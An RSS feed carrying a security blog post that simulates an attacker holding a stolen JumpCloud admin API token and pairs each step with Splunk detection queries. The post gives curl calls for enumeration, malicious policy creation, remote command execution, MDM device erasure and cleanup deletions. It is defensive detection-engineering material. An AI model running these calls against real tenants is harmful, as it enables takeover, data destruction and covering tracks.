<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>adversary simulation Archives -</title>
	<atom:link href="https://barriersec.com/tag/adversary-simulation/feed/" rel="self" type="application/rss+xml" />
	<link>https://barriersec.com/tag/adversary-simulation/</link>
	<description></description>
	<lastBuildDate>Wed, 20 Sep 2023 16:14:58 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.2.15</generator>

<image>
	<url>https://barriersec.com/wp-content/uploads/cropped-Monochrome-on-Transparent-32x32.png</url>
	<title>adversary simulation Archives -</title>
	<link>https://barriersec.com/tag/adversary-simulation/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Jumpcloud and Security : tidbit for Attack and Detect</title>
		<link>https://barriersec.com/2023/09/jumpcloud-and-security-tidbit-for-attack-and-detect/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Tue, 19 Sep 2023 21:29:09 +0000</pubDate>
				<category><![CDATA[Attack & Detect]]></category>
		<category><![CDATA[adversary simulation]]></category>
		<category><![CDATA[jumpcloud]]></category>
		<category><![CDATA[offensive security]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[security monitoring]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=836</guid>

					<description><![CDATA[<p>Intention: JumpCloud(link), a cloud directory service, shares many similarities with Active Directory and offers efficient capabilities. In this post, we&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2023/09/jumpcloud-and-security-tidbit-for-attack-and-detect/">Jumpcloud and Security : tidbit for Attack and Detect</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<h4 class="p1"><b>Intention: </b></h4>
<p>JumpCloud(<a href="http://jumpcloud.com">link</a>), a cloud directory service, shares many similarities with Active Directory and offers efficient capabilities. In this post, we aim to provide clarity on a pressing question:</p>
<h6><strong>How quickly can we detect a compromised JumpCloud Administrator API token or Admin account, and why is it crucial?</strong></h6>
<p>Recent events, such as JumpCloud&#8217;s own security breach [<a href="https://www.mandiant.com/resources/blog/north-korea-supply-chain">link</a>], have underscored the importance of early detection and monitoring in such scenarios. During their breach incident, it was revealed that their internal commands framework had been compromised, leading to the deployment of a malicious script into customer environments.(<a href="https://jumpcloud.com/blog/security-update-june-20-incident-details-and-remediation">here</a>) , based on the incident details provided by JumpCloud &amp; Mandiant, we could infer Jumpcloud Internal Employee who had access to production database was compromised via spear phishing ,abusing his access, several malicious command jobs were scheduled on handful of JC customers organisation&#8217;s endpoints via database injection which finally resulted in infection of victims. This incident serves as a stark reminder for customers to enhance their monitoring of the JumpCloud network.</p>
<p>Furthermore, the growing trend of threat actors exploiting legitimate tools for command and control makes it imperative for the broader security community to be informed about ways to monitor such tools effectively.</p>
<p>This post is structured to provide insights for both offensive and defensive teams. It offers an overview of JumpCloud (JC) network, insights into the attacker&#8217;s perspective, and guidance on building monitoring capabilities for defenders.</p>
<p>Below are my personal notes and key takeaways from a recent engagement I participated in to help Detection team build monitoring around JumpCloud acting as an adversary.</p>
<h4><strong>Introduction:</strong></h4>
<p>JumpCloud&#8217;s similarity to Active Directory is notable. A JumpCloud Admin account can be equated to a Domain Admin Account in an Active Directory environment, granting extensive access to the entire JumpCloud network. The longer a threat actor remains undetected within the network, the more damage they can inflict. Therefore, it is of utmost importance to establish robust monitoring systems around JumpCloud to promptly identify and contain any anomalous behaviour.</p>
<p>To simplify the components and workflow of JumpCloud(JC) in comparison to traditional AD, there are several key elements:</p>
<ol>
<li><strong>User Objects:</strong> These represent individual users and their credentials.</li>
<li><strong>System Objects:</strong> These represent machines or devices that are enrolled in JumpCloud.</li>
<li><strong>User Groups:</strong> These are collections of users grouped together for various purposes, such as &#8220;devs,&#8221; &#8220;sysadmins,&#8221; or &#8220;marketing.&#8221;</li>
<li><strong>System/Device Groups:</strong> These are collections of systems or devices, like servers or end-user machines, organised for management purposes.</li>
<li><strong>Policy Objects:</strong> These are policies that can be applied to a system group or individual system to enforce specific configurations or security settings.</li>
<li><strong>Policy Groups:</strong> These consist of multiple policies grouped together and associated with a device or system.</li>
<li><strong>Command Object:</strong> This allows for the execution of individual commands on a system or system group for administrative purposes.</li>
</ol>
<p>In summary, JumpCloud involves managing user and system objects, organising users and systems into groups, applying policies to enforce configurations, and executing commands as needed.</p>
<p class="p1">System administrators enroll devices in JumpCloud by installing the JumpCloud agent. This agent acts as an initialisation service, facilitating communication with JumpCloud&#8217;s servers. Once enrolled, administrators can manage devices using either the JumpCloud console or APIs, and JumpCloud&#8217;s cross-platform compatibility ensures it works seamlessly across different operating systems, including Windows, Mac, and Linux.</p>
<p class="p1">JumpCloud (JC) APIs consist of three distinct sets of APIs. When a threat actor possesses a JC API token, achieving persistence and enumeration becomes relatively straightforward due to the APIs&#8217; accessibility over the public internet.</p>
<h5 class="p1"><b>Directory Insights API</b></h5>
<p class="p3">Directory Insights API allows you to query directory events at your organization. It provides event logs of activity within your directory and monitors user authentications to the console, SSO, RADIUS, and LDAP. Shine a light on your audit trails leading up to critical events. This is the backbone of our monitoring around JC. each operation done by an administrator or a user on JC generate specific event types, using which we can build our monitoring.Feeding the Jumpcloud directory insights event logs to SIEM systems is a must.</p>
<p class="p3"><strong>Note: Access to Directory insights is only available on selective plans.</strong>(<a href="https://jumpcloud.com/pricing">here</a>)<strong>We either can use directory insights API for monitoring JC events / use a third SIEM tools ( like Splunk) to ingest JC logs and build monitoring around it.</strong></p>
<h6 class="p3"><strong>version 1: <a href="https://docs.jumpcloud.com/api/insights/directory/1.0/index.html">https://docs.jumpcloud.com/api/insights/directory/1.0/index.html</a></strong></h6>
<h5 class="p2"><b>JumpCloud API</b></h5>
<p class="p1">JumpCloud currently utilises two versions of APIs. Depending on the type of integration, it may be required to use both V1 and V2 APIs.</p>
<h6 class="p1"><strong>version 1 : </strong><a href="https://docs.jumpcloud.com/api/1.0/index.html">JumpCloud API Docs</a></h6>
<h6 class="p1"><strong>version 2: </strong><a href="https://docs.jumpcloud.com/api/2.0/index.html">JumpCloud API Docs</a></h6>
<p>To conclude, directory insight events can be used to build detection &amp; monitoring around jumpcloud. JumpCloud API can be used to emulate threat actor actions.</p>
<h4><strong>Scenario:</strong></h4>
<p>let&#8217;s delve into the exciting aspect: a non-exhaustive list of JumpCloud (JC) events that can be triggered by a threat actor once they&#8217;ve infiltrated the compromised JC network. In this scenario, we&#8217;ll assume a threat actor has executed the following actions, and we&#8217;ll explore methods to detect these events if available. For clarity, we&#8217;ve simplified the scenario covering following steps:</p>
<ol>
<li><strong>Data Gathering and Enumeration:</strong> The threat actor begins by gathering all data and enumerating the existing JC environment.</li>
<li><strong>Malicious Group Policy Creation:</strong> They proceed to create a malicious group policy within JC.</li>
<li><strong>Attaching the Malicious Group Policy:</strong> The actor attaches this malicious group policy to system groups, such as &#8216;windows-group&#8217; or &#8216;mac-group.&#8217;</li>
<li><strong>Remote Command Execution:</strong> The threat actor executes remote commands on systems or system groups within JC.</li>
<li><strong>System Data Erasure via MDM:</strong> Using JC&#8217;s Mobile Device Management (MDM) feature, they erase all system data across all systems.</li>
<li><strong>Malicious Group Policy Deletion:</strong> Lastly, the actor deletes the malicious group policy and erases all previously created commands.</li>
</ol>
<p>For each of these actions, we will identify the monitoring capabilities if available. Additionally, we will highlight key detection events corresponding to these actions.</p>
<h5><strong>Enumeration:</strong></h5>
<p class="p1">There are variety of ways that an attacker can do enumeration. The following list is non exhaustive and contains only a subset of critical/major calls that can be used by attackers.</p>
<ol class="ol1">
<li class="li1">Enumerate all the systems of the org : →
<ol class="ol1">
<li>
<pre><code>curl -X GET https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>console<span class="token punctuation">.</span>jumpcloud<span class="token punctuation">.</span>com<span class="token operator">/</span>api<span class="token operator">/</span>systems
  <span class="token operator">-</span>H <span class="token string">'Accept: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'Content-Type: application/json'</span>
  <span class="token operator">-</span>H <span class="token string">'x-api-key: <strong>{API_KEY}</strong>'</span></code></pre>
<p><a href="https://docs.jumpcloud.com/api/1.0/index.html#operation/systems_list">https://docs.jumpcloud.com/api/1.0/index.html#operation/systems_list</a></li>
</ol>
</li>
<li>Enumerate all the users of the org : →
<ol class="ol1">
<li>
<pre><code>curl -X GET https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>console<span class="token punctuation">.</span>jumpcloud<span class="token punctuation">.</span>com<span class="token operator">/</span>api<span class="token operator">/</span>systemusers
  <span class="token operator">-</span>H <span class="token string">'Accept: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'Content-Type: application/json'</span>
  <span class="token operator">-</span>H <span class="token string">'x-api-key: <strong>{API_KEY}</strong>'</span></code></pre>
<p><a href="https://docs.jumpcloud.com/api/1.0/index.html#tag/Systemusers/operation/systemusers_list">https://docs.jumpcloud.com/api/1.0/index.html#tag/Systemusers/operation/systemusers_list</a></li>
</ol>
</li>
<li>Enumerate all the user groups of the org: →
<ol class="ol1">
<li>
<pre><code>curl <span class="token operator">-</span>X GET https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>console<span class="token punctuation">.</span>jumpcloud<span class="token punctuation">.</span>com<span class="token operator">/</span>api<span class="token operator">/</span>v2<span class="token operator">/</span>usergroups \
  <span class="token operator">-</span>H <span class="token string">'Accept: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'Content-Type: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'x-api-key: <strong>{API_KEY}</strong>'</span></code></pre>
</li>
</ol>
</li>
<li>Enumerate systems and system groups bound to each of the identified user with their privileges. →
<ol class="ol1">
<li>
<pre><code>curl -X GET https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>console<span class="token punctuation">.</span>jumpcloud<span class="token punctuation">.</span>com<span class="token operator">/</span>api<span class="token operator">/</span>v2<span class="token operator">/</span>users<span class="token operator">/</span><strong><span class="token punctuation">{</span>UserID<span class="token punctuation">}</span></strong><span class="token operator">/</span>systems
  <span class="token operator">-</span>H <span class="token string">'Accept: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'Content-Type: application/json'</span>
  <span class="token operator">-</span>H <span class="token string">'x-api-key: <strong>{API_KEY}</strong>'</span>
</code></pre>
<pre><code>curl -X GET https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>console<span class="token punctuation">.</span>jumpcloud<span class="token punctuation">.</span>com<span class="token operator">/</span>api<span class="token operator">/</span>v2<span class="token operator">/</span>users<span class="token operator">/</span><strong><span class="token punctuation">{</span>UserID<span class="token punctuation">}</span></strong><span class="token operator">/</span>systemgroups
  <span class="token operator">-</span>H <span class="token string">'Accept: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'Content-Type: application/json'</span>
  <span class="token operator">-</span>H <span class="token string">'x-api-key: <strong>{API_KEY}</strong>'</span></code><code></code></pre>
<p><a href="https://docs.jumpcloud.com/api/2.0/index.html#tag/Graph/operation/graph_userTraverseSystem">https://docs.jumpcloud.com/api/2.0/index.html#tag/Graph/operation/graph_userTraverseSystem</a> <a href="https://docs.jumpcloud.com/api/2.0/index.html#tag/Graph/operation/graph_userTraverseSystemGroup">https://docs.jumpcloud.com/api/2.0/index.html#tag/Graph/operation/graph_userTraverseSystemGroup</a></li>
</ol>
</li>
<li>Enumerate policy groups bound to a system group : →
<ol class="ol1">
<li>
<pre><code>curl -X GET https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>console<span class="token punctuation">.</span>jumpcloud<span class="token punctuation">.</span>com<span class="token operator">/</span>api<span class="token operator">/</span>v2<span class="token operator">/</span>systems<span class="token operator">/</span><strong><span class="token punctuation">{</span>System_ID<span class="token punctuation">}</span></strong><span class="token operator">/</span>policygroups
  <span class="token operator">-</span>H <span class="token string">'Accept: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'Content-Type: application/json'</span>
  <span class="token operator">-</span>H <span class="token string">'x-api-key: <strong>{API_KEY}</strong>'</span></code></pre>
<p><a href="https://docs.jumpcloud.com/api/2.0/index.html#tag/Graph/operation/graph_systemTraversePolicyGroup">https://docs.jumpcloud.com/api/2.0/index.html#tag/Graph/operation/graph_systemTraversePolicyGroup</a></li>
</ol>
</li>
<li>
<p class="p1">Enumerate existing commands created by the sysadmins : →</p>
<ol class="ol1">
<li>
<pre><code>curl -X GET https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>console<span class="token punctuation">.</span>jumpcloud<span class="token punctuation">.</span>com<span class="token operator">/</span>api<span class="token operator">/</span>commands<span class="token operator">/
  -H <span class="token string">'Accept: application/json'</span> \
  -H <span class="token string">'Content-Type: application/json'</span>
  -H <span class="token string">'x-api-key: <strong>{API_KEY}</strong>'</span></span></code></pre>
<p><a href="https://docs.jumpcloud.com/api/1.0/index.html#tag/Commands/operation/commands_list">https://docs.jumpcloud.com/api/1.0/index.html#tag/Commands/operation/commands_list</a></li>
</ol>
</li>
<li class="li1">Enumerate existing command results which are still on the JC(very handy and many a times juicy sensitive info!)  : →
<ol class="ol1">
<li>
<pre><code>curl -X GET https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>console<span class="token punctuation">.</span>jumpcloud<span class="token punctuation">.</span>com<span class="token operator">/</span>api<span class="token operator">/</span>commandresults
  <span class="token operator">-</span>H <span class="token string">'Accept: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'Content-Type: application/json'</span>
  <span class="token operator">-</span>H <span class="token string">'x-api-key: <strong>{API_KEY}</strong>'</span></code></pre>
<p><a href="https://docs.jumpcloud.com/api/1.0/index.html#tag/Command-Results/operation/command_results_list">https://docs.jumpcloud.com/api/1.0/index.html#tag/Command-Results/operation/command_results_list</a></li>
</ol>
</li>
</ol>
<p>Unfortunately, JC directory insight events do not have any out of the box event captures for enumeration, this has to be built on need basis ingesting audit logs.</p>
<h5><strong>Creating a Malicious Policy on JC and Associating it with a System Group:</strong></h5>
<p>To create a policy or group policies and associate them with a system group, JumpCloud provides a set of APIs. JumpCloud offers a wide range of policy enforcement options, including the ability to control antivirus behavior, push custom registry keys to associated system groups, and disable security hardening policies already applied to a system group, among other capabilities.</p>
<p>For an attacker, this functionality can be particularly useful, as it creates an opportunity for persistence and complete control over the JumpCloud network.</p>
<ol>
<li>Create a policy : →
<ol class="ol1">
<li>
<pre><code>curl <span class="token operator">-</span>X POST https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>console<span class="token punctuation">.</span>jumpcloud<span class="token punctuation">.</span>com<span class="token operator">/</span>api<span class="token operator">/</span>v2<span class="token operator">/</span>policies \
  <span class="token operator">-</span>H <span class="token string">'Accept: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'Content-Type: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'x-api-key: {<strong>API_KEY</strong>}'</span> \
  <span class="token operator">-</span>d '<span class="token punctuation">{</span>
    <strong><span class="token punctuation">{</span>Policy_Parameters<span class="token punctuation">}</span></strong>
  <span class="token punctuation">}</span>'</code></pre>
<p><a href="https://docs.jumpcloud.com/api/2.0/index.html#tag/Policies/operation/policies_post">https://docs.jumpcloud.com/api/2.0/index.html#tag/Policies/operation/policies_post</a></li>
</ol>
</li>
<li>Associate Policy to System Group :→
<ol>
<li>
<pre><code>curl <span class="token operator">-</span>X POST https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>console<span class="token punctuation">.</span>jumpcloud<span class="token punctuation">.</span>com<span class="token operator">/</span>api<span class="token operator">/</span>v2<span class="token operator">/</span>policies<span class="token operator">/</span><strong><span class="token punctuation">{</span>Policy_ID<span class="token punctuation">}</span></strong><span class="token operator">/</span>associations<span class="token operator">/</span> \
  <span class="token operator">-</span>H <span class="token string">'Accept: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'Content-Type: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'x-api-key: {API_KEY}'</span> \
  <span class="token operator">-</span>d '<span class="token punctuation">{</span>
    <span class="token string">"op"</span><span class="token punctuation">:</span> <span class="token string">"add"</span><span class="token punctuation">,</span>
    <span class="token string">"type"</span><span class="token punctuation">:</span> <span class="token string">"<strong>system_group</strong>"</span><span class="token punctuation">,</span>
    <span class="token string">"id"</span><span class="token punctuation">:</span> <span class="token string">"<strong>{Group_ID}</strong>"</span>
  <span class="token punctuation">}</span></code></pre>
<p><a href="https://docs.jumpcloud.com/api/2.0/index.html#tag/Graph/operation/graph_policyAssociationsPost">https://docs.jumpcloud.com/api/2.0/index.html#tag/Graph/operation/graph_policyAssociationsPost</a></p>
<p>Once the association succeeds, policies associated with system groups are executed in real time.</li>
</ol>
</li>
</ol>
<h6><strong>How do we detect?</strong></h6>
<p class="p1"> We can monitor for the following directory insights events ingested to SIEM systems such as Splunk / custom monitoring via API&#8217;s. you can further refine monitoring rule in conjunction to base event.</p>
<pre><code class="language-json"><span class="token string-property property">"event_type"</span><span class="token operator">:</span> <span class="token string">"<b>policy_create</b>"
<span class="token string-property property">"event_type"</span><span class="token operator">:</span> "<b>policy_update</b>"
<span class="token string-property property">"event_type"</span><span class="token operator">:</span> "<b>policy_delete</b>"
<span class="token string-property property">"event_type"</span><span class="token operator">:</span> "<strong>association_change</strong>"

<strong>Splunk Query : index=jc-directoryinsights sourcetype=jc:events event_type=policy_create OR event_type=policy_delete OR event_type=policy_update OR event_type=association_change </strong></span></code></pre>
<h5><strong>Code Execution:</strong></h5>
<p class="p1">Attackers can achieve code execution on the systems/system groups using the following API.</p>
<pre><code>curl -X POST https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>console<span class="token punctuation">.</span>jumpcloud<span class="token punctuation">.</span>com<span class="token operator">/</span>api<span class="token operator">/</span>commands<span class="token operator">/</span> \
  <span class="token operator">-</span>H <span class="token string">'Accept: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'Content-Type: application/json'</span>
  <span class="token operator">-</span>H <span class="token string">'x-api-key: <strong>{API_KEY}</strong>'</span>
  <span class="token operator">-</span>d <span class="token string">'{"name":"Test API Command", "command":"{AnyC<strong>ommand}</strong>", "user":"<strong>{UserID}</strong>", "schedule":"", "timeout":"100"}</span></code></pre>
<p><a href="https://docs.jumpcloud.com/api/1.0/index.html#tag/Commands/operation/commands_post">https://docs.jumpcloud.com/api/1.0/index.html#tag/Commands/operation/commands_post</a></p>
<p class="p2">Using the above API, an attacker can create a command and force it to immediately run on the user associated systems /user associated system group.</p>
<h6><strong>How do we detect?</strong></h6>
<p class="p1"> We can monitor for the following directory insights events ingested to SIEM systems such as Splunk / custom monitoring via API&#8217;s. you can further refine monitoring rule in conjunction to base event.</p>
<pre><code class="language-json"><span class="token string-property property">"event_type"</span><span class="token operator">:</span> <span class="token string">"<b>command_create</b>"
<strong>Splunk Query:</strong> <strong>index=jc-directoryinsights sourcetype=jc:events event_type=command_create</strong></span></code></pre>
<h6><strong>Note: In case of JC breach, with the forensics provided(<a href="https://www.mandiant.com/resources/blog/north-korea-supply-chain">here</a>), there was an immediate execution of a command which deployed and executed malicious ruby script. With the monitoring for such events, this action would have been flagged as anomaly on the customer&#8217;s network.</strong></h6>
<p>&nbsp;</p>
<h5 class="p1"><b>Using MDM feature of JC, Erase all the system data of all systems:</b></h5>
<p class="p1">JumpCloud offers a range of remote Mobile Device Management (MDM) commands that empower administrators to remotely perform various operations on devices, from basic actions like restarts and shutdowns to more severe actions such as erasing all data on a system or locking users, all with a single API call. Unfortunately, threat actors can potentially abuse these commands to wreak havoc within the system.</p>
<p class="p1">We can achieve one of such sensitive events via the following API :</p>
<pre><code> curl <span class="token operator">-</span>X POST https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>console<span class="token punctuation">.</span>jumpcloud<span class="token punctuation">.</span>com<span class="token operator">/</span>api<span class="token operator">/</span>v2<span class="token operator">/</span>applemdms<span class="token operator">/</span><strong><span class="token punctuation">{</span>apple_mdm_id<span class="token punctuation">}</span></strong><span class="token operator">/</span>devices<span class="token operator">/</span><strong><span class="token punctuation">{</span>device_id<span class="token punctuation">}</span></strong><span class="token operator">/</span>erase \
  <span class="token operator">-</span>H <span class="token string">'accept: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'content-type: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'x-api-key: {<strong>API_KEY</strong>}'</span> \
  <span class="token operator">-</span>d <span class="token string">'{}'</span></code></pre>
<h6><strong>Erase an endpoint:</strong><a href="https://docs.jumpcloud.com/api/2.0/#tag/Apple-MDM/operation/applemdms_devicesClearActivationLock"> https://docs.jumpcloud.com/api/2.0/#tag/Apple-MDM/operation/applemdms_devicesClearActivationLock</a></h6>
<p><strong>apple_mdm_id</strong> can be fetched by prior call to following end point : <a href="https://docs.jumpcloud.com/api/2.0/#tag/Apple-MDM/operation/applemdms_list">https://docs.jumpcloud.com/api/2.0/#tag/Apple-MDM/operation/applemdms_list</a></p>
<p>all enrolled MDM <strong>device_id&#8217;s</strong> can be fetched by prior call to following end point: <a href="https://docs.jumpcloud.com/api/2.0/#tag/Apple-MDM/operation/applemdms_list">https://docs.jumpcloud.com/api/2.0/#tag/Apple-MDM/operation/applemdms_list</a></p>
<h6><strong>How do we detect?</strong></h6>
<p class="p1"> We can monitor for the following directory insights events ingested to SIEM systems such as Splunk / custom monitoring via API&#8217;s. you can further refine monitoring rule in conjunction to base event. sample splunk query to monitor such dangerous remote calls,</p>
<pre><code class="language-json"><span class="token string-property property">"event_type"<span class="token operator">:</span> <span class="token string">"<strong>mdm_command_result</strong>"</span>
<strong><span class="token string">Splunk Query: index=jc-directoryinsights sourcetype=jc:events </span>mdm_command_result mdm_device_id="*" "command.request_type"=EraseDevice</strong></span></code></pre>
<h5 class="p1"><b>Delete the malicious group policy and erase all the command results:</b></h5>
<p class="p1">Finally as a cleanup, an attacker may try to delete the JC commands run, deleting the created policy , removing the relevant associations.</p>
<p class="p1">This can be achieved by the following API:</p>
<h6><strong>Dis-associate associations:</strong></h6>
<pre><code>curl <span class="token operator">-</span>X POST https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>console<span class="token punctuation">.</span>jumpcloud<span class="token punctuation">.</span>com<span class="token operator">/</span>api<span class="token operator">/</span>v2<span class="token operator">/</span>policygroups<span class="token operator">/</span><span class="token punctuation">{</span><strong>GroupID</strong><span class="token punctuation">}</span><span class="token operator">/</span>associations \
  <span class="token operator">-</span>H <span class="token string">'Accept: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'Content-Type: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'x-api-key: {<strong>API_KEY</strong>}'</span> \
  <span class="token operator">-</span>d '<span class="token punctuation">{</span>
    <span class="token string">"op"</span><span class="token punctuation">:</span> <span class="token string">"delete"</span><span class="token punctuation">,</span>
    <span class="token string">"type"</span><span class="token punctuation">:</span> <span class="token string">"system"</span><span class="token punctuation">,</span>
    <span class="token string">"id"</span><span class="token punctuation">:</span> <span class="token string">"{<strong>SystemID</strong>}"</span>
  <span class="token punctuation">}</span>'</code></pre>
<p><a href="https://docs.jumpcloud.com/api/2.0/index.html#tag/Graph/operation/graph_policyGroupAssociationsPost">https://docs.jumpcloud.com/api/2.0/index.html#tag/Graph/operation/graph_policyGroupAssociationsPost</a></p>
<h6><strong>Delete Policy:</strong></h6>
<pre><code>curl <span class="token operator">-</span>X DELETE https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>console<span class="token punctuation">.</span>jumpcloud<span class="token punctuation">.</span>com<span class="token operator">/</span>api<span class="token operator">/</span>v2<span class="token operator">/</span>policies<span class="token operator">/{<strong>id</strong>}</span>\
  <span class="token operator">-</span>H <span class="token string">'Accept: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'Content-Type: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'x-api-key: {<strong>API_KEY</strong>}'</span></code></pre>
<p><a href="https://docs.jumpcloud.com/api/2.0/index.html#tag/Policies/operation/policies_delete">https://docs.jumpcloud.com/api/2.0/index.html#tag/Policies/operation/policies_delete</a></p>
<h6><strong>Delete Command:</strong></h6>
<pre><code>curl <span class="token operator">-</span>X DELETE https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>console<span class="token punctuation">.</span>jumpcloud<span class="token punctuation">.</span>com<span class="token operator">/</span>api<span class="token operator">/</span>commands<span class="token operator">/</span><strong><span class="token punctuation">{</span>CommandID<span class="token punctuation">}</span></strong> \
  <span class="token operator">-</span>H <span class="token string">'Accept: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'Content-Type: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'x-api-key: <strong>{API_KEY}</strong>'</span></code></pre>
<p><a href="https://docs.jumpcloud.com/api/1.0/index.html#tag/Commands/operation/commands_delete">https://docs.jumpcloud.com/api/1.0/index.html#tag/Commands/operation/commands_delete</a></p>
<h6><strong>How do we detect?</strong></h6>
<p class="p1"> We can monitor for the following directory insights events ingested to SIEM systems such as Splunk / custom monitoring via API&#8217;s. you can further refine monitoring rule in conjunction to base event. sample splunk query to monitor such dangerous remote calls,</p>
<pre><code class="language-json"><span class="token string-property property">"event_type"<span class="token operator">:</span> <span class="token string">"<strong>command_delete</strong>"</span>
"event_type"<span class="token operator">:</span> <span class="token string">"<strong>policy_delete</strong>"
"event_type"<span class="token operator">:</span> "<strong>commandresult_delete</strong>"
<strong>Splunk Query:</strong> <strong>index=jc-directoryinsights sourcetype=jc:events event_type=command_delete OR event_type=policy_delete OR event_type=commandresult_delete</strong></span></span></code></pre>
<p class="p1">Detection in the above-mentioned scenario represents just a subset of the monitoring capabilities that can be developed using JumpCloud events. JumpCloud provides a diverse range of event types, enabling us to expand our monitoring scope and identify potentially malicious behaviour by threat actors within our network before they can disrupt our systems.</p>
<p class="p1">Few of the other interesting scenarios that can be looked at and needs active monitoring,</p>
<ol class="ol1">
<li class="li1">Granting global sudo access while creating a JC user.</li>
<li class="li1">Adding local users via JC group policies.</li>
<li class="li1">Many admin/privileged events in a short span of time. ( ex: 100’s of deletion of command results in short span of time.)</li>
<li class="li1">Locking out existing JC user.</li>
<li class="li1">Disabling MFA on an existing JC user.</li>
<li class="li1">Reviving suspended/inactive JC users.</li>
<li class="li1">Modifying existing organisation settings. (disable MFA etc )</li>
</ol>
<p>Comprehensive event types and their exhaustive list can be found in the JumpCloud documentation, which serves as resource for building effective and vigilant monitoring. You can access this information here: <a href="https://docs.jumpcloud.com/api/insights/directory/1.0/index.html#section/Event-Types" target="_new" rel="noopener">Link to JumpCloud Documentation.</a></p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2023/09/jumpcloud-and-security-tidbit-for-attack-and-detect/">Jumpcloud and Security : tidbit for Attack and Detect</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
